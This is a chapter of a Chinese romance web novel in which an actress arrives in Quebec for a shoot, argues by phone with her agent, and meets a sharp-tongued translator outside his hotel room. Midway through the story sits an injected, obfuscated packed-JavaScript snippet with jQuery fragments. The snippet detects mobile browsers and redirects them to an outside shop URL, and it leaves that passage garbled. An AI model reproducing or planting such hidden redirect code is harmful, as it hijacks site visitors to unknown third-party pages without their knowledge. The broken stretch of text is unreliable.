收到剧本的后两天,明望舒正式进组。
在进组前制片人联同两位导演组织了一次剧本围读,主要是见见演员,集思广益对剧本进行拆解,说说各自对角色的理解。
明望舒嗓子条件不行,脑子却转得快,前一天晚上就将剧本通读了一遍,将自己浅薄的见解发给了导演。
早前就听闻费导在片场极为苛刻,对细节要求颇高。
明望舒不担忧自己适应不了高强度的拍摄,只担心自己最后能不能达到费导的预期。
不过正是这种地狱式的过程,他手底下出来的不是影后便是视后,颁奖典礼无不感激费导的培养。
两天后,明望舒前往海外进行拍摄。
收到林慧信息的时候,明望舒刚落地加拿大。
等候接机的时间,她手里还捧着一部费导先前拍摄的老电影正在逐帧学习。
“到了也不跟我说一声,还得我一大早地给你打电话。”
加拿大和国内有十三个小时的时差,明望舒这边是下午四点,而林慧那边则是凌晨五点多。
不出意外的话,她这个卷王经纪人又加班了。
毕竟早起二字在她们团队身上,几乎不可能出现,要么提前下班,要么熬通宵,无缝衔接第二天。
三十女人一枝花,林慧倒是精力充沛,知道明望舒的叛逆期从二十多岁才开始,便格外关照她。
“雾化剂和常用药都让小娟备齐了,在外面注意留几个心眼子。”
唠叨完,她才和明望舒说起一件事。
“看到我给你转发的新闻了吧?”林慧说,“网上现在已经是腥风血雨了,都说我虐待你。”
明望舒听完点点头,“网友的眼睛是雪亮的。”
“……”
林慧简直要被她气死!
明望舒不用拿出手机看都知道,多半是她嗓子出问题这件事被娱闻报道出去了。
明星生点小毛小病本来也是人之常情,但前段时间,因为一位新生小花遭遇经纪公司非人对待的舆论,网上闹得沸沸扬扬。
一时间话语都转向小花,心疼她的经历,结果没多久便势态反转。
小花被爆出来压根没有生病,而是有意污蔑造谣以博眼球,借网友的手给公司一记重创。
明望舒在她之后自然就遭殃了,更何况是在费导选角的这个节骨眼上传出生病的消息,媒体即使什么都不说,传到最后也正如林慧所想——
就是被骂炒作。
“流量比我们自己买的都多,这波赚了诶。”明望舒随手翻了几下网友热评,却失望地发现居然有一大半的人都在讨论她的颜值。
花瓶这两个字实在不是什么值得庆祝的好词。
原本这件事明望舒就压根没想隐瞒,她向来不会因为网络上黑子几句话影响到自己的情绪。
在镜头下生活,被狗仔私生捕风捉影是常有的事。
林慧:“……反正除了必要情况,你尽量少说话,有事就找小娟。我这边已经在另外联系耳鼻喉专家了,尽快恢复才是你最有利的武器。”
重复多遍之后发现明望舒依旧左耳朵进右耳朵出,林慧都气笑了。
“我说的你都听进去没有?”
明望舒不知道在看,懒洋洋回:“听进去了听进去了,你再念叨下去,嗓子就要跟我一个样了。”
“……”
林慧扯了扯嘴角,知道她这是不耐烦了。
在明望舒下一秒准备挂电话前,林慧匆匆交代最后一件事:“对了,卫翻译这两天有其他工作需要收尾,最晚明天到魁北克。”
“这几天我也是事多,实在腾不出时间来,总之你俩合作期间具体的细节,等卫翻译到你那边之后,你们私下里再仔细商议吧。”
明望舒蹙了蹙眉,没说话。
林慧和明望舒接触的时间也算够长,几乎明望舒一个眼神她就看懂了她什么意思。
“您可是我老板。”林慧说着最没骨气的话,但声调却比她还高。
这句话林慧确实说对了,明望舒确实才是老板。
明望舒最开始签的其实并不是林慧的公司,当时她刚大二,第一个挖掘她的人的确是林慧没错,但明望舒并没有签约。
或者说进演艺圈对当时的明望舒来说,并不是最好的选择。
但后来明望舒还是进了,初露头角势头颇盛,给前公司带来的收益也非常好,但也仅限于此,之后虽然一直在演艺圈摸爬滚打,却始终没有爆红。
再之后,明望舒用两年赚到的所有钱还了赔偿金,爽快和前公司解约,正逢林慧也从前司离职。
她也不知道是因为什么,总之两人一拍即合,明望舒建立自己的工作室后,也签下了不少艺人,只是外界仅知道林慧这个雷厉风行的经纪人,而不知道隐在背后的明望舒。
说白了,林慧就像是她的二妈,而明望舒这样生性自由散漫的性子,确实需要一个唠叨的二妈来管她。
挂断电话,小娟也进了休息室说车到了。
明望舒仰头将脑袋倚靠在背后的沙发上,眼睛一眨不眨地盯着头顶天花板。
“小娟,工作手机拿给我。”
一直以来都是小娟在管理她的工作机,明望舒这几天连轴转,忙到只能挤出时间,在赶通告的路上抽空睡觉。
以至于她其实都忘了一件事——
自己用工作号添加过谭卫。
她的本意是想直接把笔记本‘扔’回给卫忱,没错,就是用扔的。
然后再告诉他:破损是吧?她双倍赔偿。
充满羞辱的意味!
不过想法转瞬即逝,而卫忱更是不可能主动加好友来触她霉头。
昂贵的笔记本就这样,宛如一块烫手山芋,被二人推来推去。
明望舒接过手机,重新翻找出和谭卫的对话框。
【卫:明老师您好!非常荣幸加入您的朋友圈!上次没能成功合作我很惭愧,不知道您还记不记得我……】
明望舒在对话框内输入:【我是想问,卫忱的联系方式能不能】
她用的是工作号,而非私人号,避免又落了把柄,让卫忱那张毒舌嘴再教训一回。
但打字到一半,她突然顿住,一下删掉了所有的对话。
凭什么得她先联系?
以前就算是毕业留同学录,那都是其他同学们过来加她。
卫忱什么咖位?还得自己屈尊降贵地去找他?
热脸就算了,他还是个冷屁股。
不,卫忱这家伙分明就是一块捂不热的冰山!
明望舒深吸一口气,差点又把自己搞窝火。
那些黑子都不能影响的情绪,卫忱一句话不说光是存在她的想象里就能让她的思绪转八百个螺旋来回。
文字太长了,明望舒认真看完,思来想去最后就回了一条。
【moon:记得。】
酒店到了,明望舒暂时收起手机。
-
晚间八点,魁北克,天色完全黑透。
落地蒙特利尔,卫忱出了机场便被迎面吹来的冷风扑了个趔趄。
正值十月初,这里的气温已经开始骤降,尤其是晚间。
卫忱拢了拢身上的风衣,插上电话卡,手机消息便接二连三地弹了出来。
传说蒙特利尔只有两个季节,冬季和施工季。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406361|200532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
直到司机绕行多次后,卫忱才深刻体会到这不是夸张修辞。
历时半小时抵达酒店,卫忱的手机依旧没有歇息的想法。
酒店经理是个热络的,办理完入住带他上楼时,询问他是不是有工作要处理,这里提供免费WiFi。
卫忱礼貌地说了声谢谢,趁电梯有几秒钟失去信号,看了眼手机。
【卫:我靠师弟!我女神真回我了!】
【卫:我就说明老师之前肯定是因为工作忙所以没看到消息,你看,得空她就立马回复咯~】
卫忱蹙了下眉头,指尖在屏幕上轻敲下两个字,还没等发送,电梯门开启,一个白人女走进来,给他发了一张寻猫启示。
用急切快速的本地式法语对他说:如果在这里看见一只黑色多白色少的奶牛猫,一定要第一时间联络她。
卫忱接过寻猫启示,颔首。
信号重新满格的瞬间,消息二次刷新。
【卫(被女神回复版):你小子上次是故意那么说的吧,但不好意思,这就是明老师的微信,如假包换!】
他手机里并没有多少联系人,以至于不用备注都能记得谁是谁。
看到对方秒换的微信名,卫忱:“……”
【卫(被女神回复版):你就是嫉妒我有明老师微信!而你!没!有!】
【卫(被女神回复版):不说了,我女神发圈了,我得第一个点赞】
卫忱返回主界面,下意识点进朋友圈。
最新的动态在一分钟前,一个黑白头像,没有配文,只有一张和手掌比划大小的红枫图片。
卫忱动了动指节。
【c:嗯。】
也不知是在回复哪一句。
五楼到了,卫忱表示不用经理护送,两人交接完钥匙和行李,经理便离开了。
目前所在的区域不算市中心,从酒店设施能看出,已经有些年头了,像极了身处霍格沃兹,相对古老陈旧,但至少是个四星级酒店。
他的房间在走廊尽头,不是尾房,只是普通套房。
刚走到拐角,抬眼,卫忱便看见了一个戴着鸭舌帽的女人,跪地式趴在他的房门口,伸着一根类似魔杖的物品,从门缝底下来回扫动。
像是在找什么东西。
卫忱:“你在做什么?”
蓦地听见身后声音,许是过于专注,明望舒冷不丁被吓了一跳。
她立刻转身站起来,由于动作幅度过大,头顶的鸭舌帽尖碰到门把手,一下被掀翻在地。
明望舒睁着一双有些急切的桃花眼,翕张了一下嘴唇,但声音没能发出来。
她确实正在找东西,方才出房门路过这里的时候,一个壮汉迎面撞了她一下,她当时正在摆弄耳朵上的蓝牙耳机。
突然被这么一撞,耳机连同耳环一块掉了下来。
庆幸的是,耳机找到了,但耳环被对方一脚,踢进了她左手边这间房间。
明望舒思索间,不由自主地摸了摸自己的耳垂。
“我……掉了东西。”她说。
卫忱:“在我房门口?”
轮到明望舒皱眉,“这是你房间?”
卫忱抬手给她看了眼自己的房卡,对应门边和自己只差了一位数字的房号,明望舒完全笑不出来。
到底谁这么定房间的?
卫忱住自己隔壁,那她晚上睡觉都得一只眼睛站岗一只眼睛放哨吧?
明望舒静默了好一会儿,思考着要怎么说听上去才不像辩解。
适时,卫忱瞥了眼她依旧空空的耳洞,缓而慢地开口道:“该不会,又是耳环?”
明望舒:“……”